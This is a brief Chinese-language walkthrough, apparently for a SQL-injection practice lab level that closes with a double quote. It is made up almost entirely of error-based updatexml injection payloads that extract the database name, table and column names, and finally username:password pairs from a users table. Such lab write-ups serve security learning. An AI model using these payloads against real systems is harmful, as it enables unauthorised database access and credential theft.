和第五关类似，只不过闭合符号是双引号
1，查数据库
1"and%20(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))%20--+
2.查表
内容有多行，所以使用limit依次查询
1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1)%20,0x7e),1))%20--+
limit 3,1 查出来users表
?id=1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1)%20,0x7e),1))%20--+
查字段名：
?id=1"and%20(updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20)%20,0x7e),1))%20--+
返回超过1 行，使用limit进行处理
limit 4,1 返回username字段
limit 5,1 返回password字段
查询字段内容,返回结果超过一行，使用limit函数
/?id=1"and%20(updatexml(1,concat(0x7e,(select%20username%20from%20users)%20,0x7e),1))%20--+
依次进行查询
id=1"and%20(updatexml(1,concat(0x7e,(select%20concat(username,":",password)%20from%20users%20limit%200,1)%20,0x7e),1))%20--+
